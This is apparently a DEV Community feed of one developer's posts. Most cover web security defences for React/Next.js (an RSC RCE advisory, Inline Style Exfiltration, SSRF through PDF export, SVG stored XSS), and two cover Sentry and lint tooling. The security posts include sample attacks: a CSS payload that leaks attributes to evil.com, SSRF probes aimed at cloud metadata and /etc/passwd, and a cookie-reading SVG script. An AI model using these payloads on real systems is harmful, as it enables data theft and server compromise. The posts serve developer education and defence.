DEV Community: Vladimir Kukresh

⚠️ Critical RCE Vulnerability in React Server Components (CVSS 10.0)

Vladimir Kukresh — Fri, 12 Dec 2025 09:51:38 +0000

A critical remote-code-execution (RCE) vulnerability has been disclosed in React Server Components (RSC), affecting multiple React versions and all frameworks that rely on RSC — including Next.js App Router.
Because the flaw enables unauthenticated arbitrary code execution on the server, the severity is rated CVSS 10.0 (maximum).

This post summarizes what is affected, the actual risk, and the steps
required to secure your applications.

🚨 Why this vulnerability matters

React Server Components introduce a hybrid rendering model where the
server returns component trees to the client.
The disclosed vulnerability allows malicious actors to abuse this
protocol and inject payloads that get executed server-side, leading to:

Full server compromise
Access to environment variables
Supply-chain risk via poisoned responses
Lateral movement inside the infrastructure

This is one of the most severe RSC-related issues ever published.

⚠️ Affected technologies

React Server Components packages

Status Versions
Vulnerable 19.0, 19.1.0, 19.1.1, 19.2.0
Patched 19.0.1, 19.1.2, 19.2.1+

Next.js with App Router

Next.js uses RSC under the hood, making it affected by default when
using the /app directory.

Vulnerable versions

Next.js version
15.x
16.x (various releases)

Patched versions

Secure version
15.0.5
15.1.9
15.2.6
15.3.6
15.4.8
15.5.7
16.0.7

🔧 Required actions (immediate)

Upgrade React RSC packages to one of the secure versions:

19.0.1, 19.1.2, 19.2.1, or later.
Upgrade Next.js to a patched version listed above.
Rebuild and redeploy all affected applications after updating dependencies.
Rotate secrets/credentials if your service was deployed with vulnerable versions.

(Recommended) Review logs for suspicious RSC request patterns.

🔍 How to check if your project is affected

For React projects

Run:

npm ls react-server react-server-dom-webpack

Or inspect package.json / pnpm-lock.yaml for versions listed above.

For Next.js

Run:

npx next info

Check whether:

You're using the App Router (/app directory)
Your Next.js version is in the vulnerable range

📌 Applicability

This advisory applies to:

Projects built on React that use RSC
Projects built on Next.js App Router
Any backend that processes RSC protocol traffic

It does not impact traditional React applications that do not use
RSC.

🔥 Final notes

This vulnerability is a rare case where React's server-side
infrastructure becomes an attack vector with zero-authentication, remote
exploitability, and full server compromise potential.
If your team maintains applications using RSC or Next.js App Router,
Treat these updates as urgent.

Stay safe and patch early.

React Team “Critical Security Vulnerability in React Server Components (CVE-2025-55182)”
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)

Vladimir Kukresh — Mon, 08 Sep 2025 18:11:23 +0000

How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)

In August 2025, Gareth Heyes (PortSwigger) demonstrated a new attack vector called Inline Style Exfiltration (ISE). Using nothing but inline styles, an attacker can exfiltrate attribute values from the DOM — no external stylesheets, no selectors.

⚠️ At the time of writing, this technique worked in Chromium-based browsers.

How the attack works

The breakthrough came with the CSS if() function. It lets developers (and attackers) write conditional expressions inside CSS.

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(https://evil.com/alice);
           else: url(https://evil.com/bob));
  background: image-set(var(--steal));
' data-username="bob">Test</div>

attr(data-username) extracts the attribute.
if(style(--val:"alice") …) checks if the value matches.
image-set() triggers a request to the attacker’s server when the match is found.

By chaining multiple if() conditions, an attacker can brute-force attribute values like data-uid or data-username.

Why React/Next.js apps are at risk

React makes it tempting to pass props straight into style or data-* attributes. Combined with ISE, this can leak user IDs, usernames, or even tokens if they are accidentally exposed in DOM attributes.

Mitigation strategies

1. Never map raw user input to `style`

❌ Bad:

<div style={{ backgroundImage: userInput }} />

✅ Good:

const bgToken = ALLOWED_BG[userChoice] ?? 'bg-default';
return <div className={bgToken} />;

Allow only whitelisted units (px, rem, %) and color formats (#RRGGBB). Strip out functions like url(), if(), attr(), image-set(), style().

2. Don’t store secrets in `data-*`

Never put IDs, emails, tokens, or roles in data-*. Keep them in React state, context, or HttpOnly cookies.

3. Use CSP to block inline styles

Add a strict Content-Security-Policy. Critical piece: disallow style="" attributes.

Content-Security-Policy:

  default-src 'self';
  style-src 'self';
  style-src-attr 'none';
  style-src-elem 'self' 'nonce-<nonce>';
  img-src 'self' https://cdn.example.com;
  connect-src 'self';
  base-uri 'none';
  frame-ancestors 'none';

style-src-attr 'none' blocks inline style attributes.
Ideally, you’d use style-src-elem 'nonce-...' with nonces for <style> tags.
In Next.js this is tricky because the framework injects its own styles.

Practical alternatives:

Start with style-src-elem 'self'.
Or use hashes (sha256-...) for critical inline styles that Next.js generates.

👉 See official Next.js docs on CSP

In Next.js

// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: `
      default-src 'self';
      style-src 'self';
      style-src-attr 'none';
      style-src-elem 'self' 'nonce-__INLINE_STYLE_NONCE__';
      img-src 'self' https://cdn.example.com;
      connect-src 'self';
      base-uri 'none';
      frame-ancestors 'none';
    `.replace(/\s{2,}/g, ' ')
  }
];

module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  }
};

4. Sanitise user-generated HTML

If you allow Markdown or WYSIWYG editors:

Use DOMPurify/rehype-sanitize on the server.
Forbid style attributes (FORBID_ATTR: ['style']).
If style must be allowed, enforce a strict allowlist (e.g. color, font-size only).

5. Linting & CI

ESLint rule: forbid dangerouslySetInnerHTML and raw strings in style.
Grep/regex in CI for suspicious CSS functions (url(, if(, attr(, image-set().
Ensure no sensitive data-* attributes in JSX.

6. Component design

Expose enums or theme tokens as props, never raw CSS.

❌ Instead of:

<Button color={userInput} />

✅ Do:

<Button variant={userChoice === "danger" ? "danger" : "primary"} />

7. Monitoring

ISE often brute-forces attributes by making dozens of tiny requests (/1, /2, /3).

Use CSP report-to / report-uri to catch violations.
Alert on suspicious requests in your CDN or logs.

Review checklist

No unsafe-inline in CSP.
style-src-attr 'none' enabled.
style-src-elem restricted (self, nonces, or hashes).
img-src and connect-src restricted to trusted domains. This prevents not only ISE leaks but also classic data exfiltration via <img src> or fetch.
No raw input mapped into style or CSS variables.
Sensitive data not in data-*.
Sanitisers strip or restrict style.
Lint rules enforce safe patterns.
UGC rendered in sandbox/isolated domains.

Diagram: How `data-uid` leaks via ISE

Victim's browser:
<div data-uid="5">

Inline CSS conditionals:
if(data-uid="1") → /1
...
if(data-uid="5") → /5

Attacker's server:
Logs request /5

For clarity, the diagram is simplified. Real ISE uses inline style conditionals (if(), style()).

Conclusion

CSS is no longer “just declarative.” With if(), it now supports conditional logic — and new risks.

For Next.js apps, the recipe is simple:

no inline styles from data
strict CSP with style-src-attr 'none'
sanitise aggressively
design components around tokens, not raw CSS

References

Gareth Heyes — Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger, 2025)
MDN: CSS if()
Content Security Policy Level 3 (W3C)
Next.js docs: Content Security Policy

SSRF via PDF: A Silent Threat for React/Next.js Developers

Vladimir Kukresh — Mon, 11 Aug 2025 12:52:48 +0000

🛡 SSRF via PDF: A Silent Threat for React/Next.js Developers

Have you tested your PDF exports for SSRF vulnerabilities?

📖 Introduction

Many React + Next.js developers assume that if everything happens in the browser, they’re safe.

But once your project includes PDF export (invoices, reports, analytics), a headless browser comes into play on the server side.

Key question: What happens if that browser can make requests on behalf of your server?

📈 Fresh Stats & Sources

Actively Exploiting Multiple SSRF Vulnerabilities. 400+ IPs Actively Exploiting Multiple SSRF Vulnerabilities In The Wild
OWASP Top 10 (A10:2021): SSRF is “low prevalence but high impact.” OWASP A10:2021 — Server-Side Request Forgery (SSRF)

🧪 Live PoC with webhook.site

Open https://webhook.site and copy your unique URL.
Send this HTML to your PDF rendering endpoint:

<iframe src="https://webhook.site/YOUR-UUID"></iframe>

On https://webhook.site, you'll see a request from HeadlessChrome proof that SSRF is happening.

❌ What NOT to Do (Vulnerable Example)

// pages/api/generate-pdf.ts
import puppeteer from 'puppeteer'

export default async function handler(req, res) {
  const { htmlContent } = req.body
  const browser = await puppeteer.launch()
  const page = await browser.newPage()
  await page.setContent(htmlContent, { waitUntil: 'networkidle0' }) // ⚠️ No sanitization
  const pdf = await page.pdf()
  await browser.close()
  res.setHeader('Content-Type', 'application/pdf')
  res.send(pdf)
}

Issues:

Injected HTML is not sanitized.
No request blocking.
Dangerous vectors include <iframe> and CSS imports:

@import url("http://169.254.169.254/latest/meta-data/");

✅ How to Do It Right (Next.js + TS)


import puppeteer from 'puppeteer'
import DOMPurify from 'isomorphic-dompurify'
import type { NextApiRequest, NextApiResponse } from 'next'

export default async function handler(req: NextApiRequest, res: NextApiResponse) {
  const { htmlContent } = req.body as { htmlContent: string }

  // 1. SANITIZE HTML
  const cleanHtml = DOMPurify.sanitize(htmlContent, {
    ALLOWED_TAGS: ['b', 'i', 'p', 'strong', 'em', 'u', 'br'],
    ALLOWED_ATTR: []
  })

  const browser = await puppeteer.launch()
  const page = await browser.newPage()

  // 2. BLOCK UNWANTED REQUESTS (FE-critical!)
  page.on('request', (request) => {
    if (isCloudMetadata(request.url())) request.abort() // 🛑
    else request.continue()
  })

  await page.setRequestInterception(true)
  const isCloudMetadata = (url: string) =>
    url.includes('169.254.169.254') || url.includes('localhost') || url.startsWith('file://')

  // 3. CSP
  await page.setExtraHTTPHeaders({
    'Content-Security-Policy': "default-src 'none'; img-src 'self'; style-src 'self'; font-src 'self';"
  })

  await page.setContent(cleanHtml, { waitUntil: 'networkidle0' })
  const pdf = await page.pdf()
  await browser.close()

  res.setHeader('Content-Type', 'application/pdf')
  res.send(pdf)
}

🔄 No-Browser Alternative

import { PDFDocument } from 'pdf-lib'
import type { NextApiRequest, NextApiResponse } from 'next'

export default async function handler(req: NextApiRequest, res: NextApiResponse) {
  const pdfDoc = await PDFDocument.create()
  const page = pdfDoc.addPage([595, 842]) // A4
  page.drawText('Hello, secure PDF!', { x: 50, y: 790, size: 16 })
  const pdfBytes = await pdfDoc.save()

  res.setHeader('Content-Type', 'application/pdf')
  res.send(Buffer.from(pdfBytes))
}

Benefit: No headless browser → no network requests.

🖼 Attack Diagram


[ User 👨‍💻 ]
     |
     | POST htmlContent with <iframe src="http://169.254.169.254/">
     v
[ Next.js API ⚡ ]
     |
     | Render HTML via Puppeteer
     v
[ Headless Chrome 🌐 ]
     |
     | HTTP/file request to internal resources:
     |  - http://169.254.169.254/latest/meta-data/
     |  - http://localhost:8080/admin
     |  - file:///etc/passwd
     v
[ AWS ☁️ / Internal Data ]
     |
     | Response embedded in PDF
     v
[ User downloads PDF 📄 ]

📌 Key SSRF Breaches & Reports

🏦 Capital One (2019)

Attack Vector: SSRF → AWS IMDSv1 exploitation
Impact: 106 million records compromised
References:
- ACM Analysis
- Official Statement

📄 Pentest Case (2024)

Scenario: PDF export functionality → Internal API access
Technical Breakdown: CyberAdvisors Blog Post

💰 HackerOne Report #2262382

Severity: Critical SSRF (AWS metadata exposure)
Bounty: $10,000
Report: HackerOne Disclosure

🛡️ SSRF Prevention Matrix

Tactic	Implementation	Effort
Request Blocking	`page.setRequestInterception`	Low
HTML Sanitization	`DOMPurify`	Medium
Browser Elimination	`pdf-lib`	High

📡 Monitoring with Sentry

import * as Sentry from '@sentry/node';

page.on('request', req => { 
  if (req.url().includes('169.254.169.254')) {
    Sentry.captureMessage(`SSRF ALERT: ${req.url()}`);
    req.abort();
  } else {
    req.continue();
  }
});

🏆 Your Task

Implement request blocking
Run webhook.site test
Share results in comments!

🙌 Follow for More

I'm writing more about:

Frontend security for React/Next.js devs
Real-world web exploit mitigation
CSP, SSRF, XSS, and modern browser defences

📌 Follow me here on LinkedIn

💥 How an SVG Can Break Your React /Next.js App and How to Defend It

Vladimir Kukresh — Mon, 28 Jul 2025 08:00:00 +0000

🧨 Real-World Scenario

You're building a profile page. A user uploads their avatar — maybe even in .svg format. Everything works smoothly. But then...

Another user visits their profile.
Their browser loads the avatar.
Suddenly, JavaScript executes in the background.
Session hijacked. CSRF triggered. Game over.

How?

Because you let someone upload an SVG — and forgot how dangerous it can be.

🕳️ What Is Stored XSS via File Upload?

Stored XSS happens when an attacker injects JavaScript into a system (e.g., via form or upload), and this code is stored on the server and later rendered in other users’ browsers.

With SVGs, it’s even sneakier:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

If your backend doesn’t sanitize or serve this file safely, it will happily deliver this payload to unsuspecting users.

⚛ Why React / Next.js Apps Are Not Immune

React protects you from XSS inside JSX, but not from files served by your backend.

That means:

If your API accepts and serves SVGs as-is,
And you render them via <img src={user.avatarUrl} />...

You're trusting the browser not to execute embedded scripts. Bad idea.

🔐 How to Prevent Stored XSS in Your React / Next.js App

1. ❌ Don't Allow SVG Uploads (Unless Absolutely Necessary)

SVGs support:

<script>, onload, onmouseover
<foreignObject> (HTML inside SVG)
External scripts via <use xlink:href="...">

If you don’t sanitize, disallow them entirely.

2. ✅ If You Allow SVGs, Serve Them Safely

Never render them inline. Always serve with headers like:

Content-Type: image/svg+xml
Content-Disposition: attachment; filename="avatar.svg"

This tells the browser: “Download this. Don’t render inline.”

In Next.js (API route or middleware):

res.setHeader('Content-Disposition', 'attachment');

Or: Convert the SVG to PNG server-side and serve that instead.

3. 🧽 Sanitize SVGs (If You Really Must)

Use tools like:

sanitize-svg
DOMPurify (in server-side mode)

⚠️ Never trust the file extension. Inspect and clean content.

4. 🛡 Add a Strict Content Security Policy (CSP)

Add this via next.config.js:

module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: `
              default-src 'self';
              script-src 'self';
              img-src 'self' data:;
              object-src 'none';
              base-uri 'none';
            `.replace(/\s{2,}/g, ' ').trim(),
          },
        ],
      },
    ];
  },
};

This prevents:

Inline scripts,
Loading SVGs via <object>,
Abuse of <base> tags.

🧠 Developer Checklist

✅	What to Do
🔍	Inspect file content, not just extensions
📛	Block dangerous MIME types or force download
🧼	Sanitize SVGs or disallow them
🧱	Add CSP headers
🚫	Never use `dangerouslySetInnerHTML` with user content

🧵 TL;DR

SVGs aren’t "just images" — they’re XML with scripting capabilities.

If you're not validating uploads and locking down how they're served, you're one SVG away from stored XSS.

💬 Let’s Discuss

Have you dealt with SVG-related vulnerabilities in your frontend apps?

Do you allow SVGs in uploads, or ban them entirely?

Drop your thoughts, horror stories, or tips in the comments 👇

🙌 Follow for More

I'm writing more about:

Frontend security for React/Next.js devs
Real-world web exploit mitigation
CSP, SSRF, XSS, and modern browser defences

Follow me here on LinkedIn

Integrating Error Monitoring and Performance Analysis with Sentry in a React Application

Vladimir Kukresh — Mon, 10 Feb 2025 21:57:31 +0000

Introduction

In modern web development, building functional applications is only half the battle. Ensuring stability and performance is equally critical. Uncaught errors can degrade user experience and lead to lost customers. Sentry, a powerful error monitoring and performance analysis platform, helps developers detect and resolve issues swiftly. In this article, we’ll walk through integrating Sentry into a React application, covering advanced use cases and best practices to maximize its potential.

1. Setting Up Sentry

Step 1: Create a Sentry Project

Sign up at sentry.io and create a new React project.
Retrieve your DSN (Data Source Name)—a unique project identifier for client integration. Store this securely, preferably in environment variables (e.g., .env).

Step 2: Install Required Packages

npm install @sentry/react @sentry/tracing @sentry/webpack-plugin  # Includes source map plugin

2. Initializing Sentry

Update your app’s entry file (e.g., index.js or main.jsx for React 18+):

import * as Sentry from '@sentry/react';
import { BrowserTracing } from '@sentry/tracing';
import { createRoot } from 'react-dom/client';

Sentry.init({
  dsn: import.meta.env.VITE_SENTRY_DSN,  // Use environment variables (Vite example)
  integrations: [new BrowserTracing()],
  tracesSampleRate: 0.2,  // Sample 20% of transactions for performance monitoring
  environment: process.env.NODE_ENV,  // 'development' or 'production'
  release: 'my-app@1.0.0',  // Track errors by version
  ignoreErrors: ['ResizeObserver loop limit exceeded'],  // Filter non-critical errors
  beforeSend(event) {
    // Block errors from third-party services
    if (event.request?.url?.includes('adservice.com')) return null;
    return event;
  },
  enableTracing: process.env.NODE_ENV === 'production',  // Disable tracing in dev mode
});

// React 18+ setup
const root = createRoot(document.getElementById('root'));
root.render(<App />);

Key Notes:

Use import.meta.env (Vite) or process.env (Create React App) to manage secrets.
enableTracing reduces overhead in development by disabling performance tracking.

3. Error Handling

Automatic Error Tracking

Sentry’s built-in Error Boundary captures React component errors. Add context for debugging:

import { ErrorBoundary } from '@sentry/react';

function App() {
  return (
    <ErrorBoundary 
      fallback={<ErrorScreen />}  // Custom error UI
      onError={(error, componentStack) => {
        Sentry.captureException(error, {
          contexts: { react: { componentStack } },  // Include component trace
          tags: { section: "checkout-page" },  // Tag errors by feature
        });
      }}
    >
      <YourApp />
    </ErrorBoundary>
  );
}

Manual Error Capture

Track API failures or async operations:

const fetchUserData = async () => {
  try {
    const response = await axios.get('/api/user');
  } catch (error) {
    Sentry.captureException(error, {
      extra: { endpoint: '/api/user' },  // Add request context
      user: { id: '123' },  // Associate errors with users
    });
  }
};

4. Advanced Integrations

React Router v6 Support

For modern routing:

import { createBrowserRouter, RouterProvider } from 'react-router-dom';
import { reactRouterV6Instrumentation } from '@sentry/react';

const router = createBrowserRouter([...routes]);

Sentry.init({
  integrations: [
    new BrowserTracing({
      routingInstrumentation: reactRouterV6Instrumentation(
        router,
        router.state.location,
        router.state.navigation
      ),
      tracingOrigins: ['api.yourservice.com'],  // Trace API requests
    }),
  ],
});

Redux Toolkit Integration

Monitor state changes in Redux:

import { configureStore } from '@reduxjs/toolkit';
import { sentryReduxEnhancer } from '@sentry/react';

const store = configureStore({
  reducer: rootReducer,
  enhancers: [sentryReduxEnhancer()],  // Logs actions and state on errors
});

5. Performance Monitoring

Component Rendering Profiling

Identify slow components with Sentry’s profiler:

import { withProfiler } from '@sentry/react';

const Dashboard = () => { ... };
export default withProfiler(Dashboard, { name: "DashboardPage" });

Custom Transactions

Measure critical operations:

const processImageUpload = async (file) => {
  const transaction = Sentry.startTransaction({ name: "ImageUpload" });
  try {
    await uploadToCloud(file);
    transaction.finish();
  } catch (error) {
    transaction.setStatus('failed');
    transaction.finish();
    Sentry.captureException(error);
  }
};

6. Best Practices

Source Maps for Debugging

Upload source maps during builds using @sentry/webpack-plugin:

// webpack.config.js
const SentryPlugin = require('@sentry/webpack-plugin');

module.exports = {
  plugins: [
    new SentryPlugin({
      authToken: process.env.SENTRY_AUTH_TOKEN,
      org: 'your-org',
      project: 'your-project',
      include: './dist',
      release: 'my-app@1.0.0',
    }),
  ],
};

Alerting and Notifications

Configure Slack alerts:

In Sentry: Project Settings → Integrations → Slack.
Choose events to monitor (e.g., "New Errors" or "Performance Issues").

Release Tracking with CI/CD

Automate release tagging using GitHub Actions:

- name: Create Sentry Release
  uses: getsentry/action-release@v1
  env:
    SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
  with:
    environment: production
    version: ${{ github.sha }}  // Link releases to Git commits

Conclusion

Integrating Sentry into your React application transforms how you handle errors and optimize performance. By leveraging automatic error boundaries, advanced tracing, and integrations with tools like React Router and Redux, you gain deep insights into your app’s health. Follow best practices like source map uploads and CI/CD automation to streamline debugging and accelerate issue resolution.

Next Steps:

Explore Sentry’s React documentation.
Implement custom metrics (e.g., key user journey timings).
Set up dashboards to visualize error trends and performance bottlenecks.

With Sentry, you’re not just fixing bugs—you’re building a more resilient and user-friendly application.

Keep your code clean with ESLint, prettier, pre-commit and pre-push hooks using husky, lint-staged, and pretty-quick

Vladimir Kukresh — Sun, 12 Feb 2023 19:58:53 +0000

Keeping your code clean and consistent is important in any software development project.

This is especially true for React apps, where code can become complex and difficult to maintain over time. One way to ensure that your code is clean and consistent is to use a set of tools that automate the process of checking and fixing code.

In this post, we will look at how to use ESLint, Prettier, pre-commit, and pre-push hooks in a React app using Husky, lint-staged, and pretty-quick. These tools will help you maintain code quality and consistency throughout your development process.

First, let's start by installing the required packages. Run the following command in your terminal:

npm install eslint prettier husky lint-staged pretty-quick --save-dev

Next, you need to configure ESLint and Prettier. You can either create a .eslintrc and .prettierrc file in the root of your project or use the default configuration by running the following command:

npx eslint --init
npx prettier --write .

Now, it's time to set up Husky and lint-staged.
Pre-commit and pre-push hooks are used to run scripts before you commit changes to your Git repository or before you push changes to a remote repository. You can use husky, lint-staged, and pretty-quick to configure these hooks in your project.

To set up Husky and lint-staged, you'll add the following code to your package.json file:

"husky": {
  "hooks": {
    "pre-commit": "lint-staged",
    "pre-push": "npm test"
  }
},
"lint-staged": {
  "*.{js,jsx}": [
    "pretty-quick --staged",
    "eslint --fix",
    "git add"
  ]
}

This configuration runs lint-staged on the pre-commit hook and npm test on the pre-push hook. Lint-staged runs Prettier and ESLint on all staged .js and .jsx files and fixes any issues. This way, every time you run git commit, lint-staged will run pretty-quick to format your code and eslint to fix any linting errors. And, every time you run git push, npm test will run to make sure your code passes all tests.

The following is an example of what your package.json file might look like after setting up the tools and hooks:

{
  "name": "your-project-name",
  "version": "1.0.0",
  "scripts": {
    "lint": "eslint src",
    "test": "jest"
  },
  "dependencies": {
    "react": "^17.0.1",
    "react-dom": "^17.0.1"
  },
  "devDependencies": {
    "eslint": "^7.16.0",
    "eslint-config-airbnb": "^18.2.0",
    "eslint-plugin-import": "^2.22.0",
    "eslint-plugin-jsx-a11y": "^6.4.1",
    "eslint-plugin-react": "^7.22.0",
    "husky": "^4.3.0",
    "lint-staged": "^11.0.0",
    "prettier": "^2.1.2",
    "pretty-quick": "^3.0.2"
  },
  "husky": {
    "hooks": {
      "pre-commit": "lint-staged",
      "pre-push": "npm test"
    }
  },
  "lint-staged": {
    "src/**/*.{js,jsx}": [
      "pretty-quick --staged",
      "eslint --fix"
    ]
  }
}

Additionally, by using pre-commit and pre-push hooks, you can ensure that only well-formed and error-free code is committed to your repository and pushed to the remote server. This helps to avoid conflicts with other team members, as well as ensures that the code is always up-to-date and easy to maintain.

It's also important to note that these tools are customizable, and you can fine-tune the configuration to fit your specific needs and preferences. You can adjust the rules used by ESLint and Prettier, as well as the scripts run by the pre-commit and pre-push hooks, to suit your project's requirements.

In summary, using a set of tools like ESLint, Prettier, pre-commit, and pre-push hooks can greatly improve the quality and maintainability of your React code. By automating the process of checking and fixing code, you can focus on the more important aspects of your project and avoid potential roadblocks down the line

Links:

DEV Community: Vladimir Kukresh

⚠️ Critical RCE Vulnerability in React Server Components (CVSS 10.0)

🚨 Why this vulnerability matters

⚠️ Affected technologies

React Server Components packages

Next.js with App Router

Vulnerable versions

Patched versions

🔧 Required actions (immediate)

🔍 How to check if your project is affected

For React projects

For Next.js

📌 Applicability

🔥 Final notes

How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)

How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)

How the attack works

Why React/Next.js apps are at risk

Mitigation strategies

1. Never map raw user input to style

2. Don’t store secrets in data-*

3. Use CSP to block inline styles

In Next.js

4. Sanitise user-generated HTML

5. Linting & CI

6. Component design

7. Monitoring

Review checklist

Diagram: How data-uid leaks via ISE

Conclusion

References

SSRF via PDF: A Silent Threat for React/Next.js Developers

🛡 SSRF via PDF: A Silent Threat for React/Next.js Developers

📖 Introduction

📈 Fresh Stats & Sources

🧪 Live PoC with webhook.site

📌 Key SSRF Breaches & Reports

🏦 Capital One (2019)

📄 Pentest Case (2024)

💰 HackerOne Report #2262382

🛡️ SSRF Prevention Matrix

📡 Monitoring with Sentry

🏆 Your Task

🙌 Follow for More

💥 How an SVG Can Break Your React /Next.js App and How to Defend It

🧨 Real-World Scenario

🕳️ What Is Stored XSS via File Upload?

⚛ Why React / Next.js Apps Are Not Immune

🔐 How to Prevent Stored XSS in Your React / Next.js App

1. ❌ Don't Allow SVG Uploads (Unless Absolutely Necessary)

2. ✅ If You Allow SVGs, Serve Them Safely

3. 🧽 Sanitize SVGs (If You Really Must)

4. 🛡 Add a Strict Content Security Policy (CSP)

🧠 Developer Checklist

🧵 TL;DR

💬 Let’s Discuss

🙌 Follow for More

Integrating Error Monitoring and Performance Analysis with Sentry in a React Application

Introduction

1. Setting Up Sentry

Step 1: Create a Sentry Project

Step 2: Install Required Packages

2. Initializing Sentry

3. Error Handling

Automatic Error Tracking

Manual Error Capture

4. Advanced Integrations

React Router v6 Support

Redux Toolkit Integration

5. Performance Monitoring

Component Rendering Profiling

Custom Transactions

6. Best Practices

Source Maps for Debugging

Alerting and Notifications

Release Tracking with CI/CD

Conclusion

Keep your code clean with ESLint, prettier, pre-commit and pre-push hooks using husky, lint-staged, and pretty-quick

Keeping your code clean and consistent is important in any software development project.

pretty-quick - npm

1. Never map raw user input to `style`

2. Don’t store secrets in `data-*`

Diagram: How `data-uid` leaks via ISE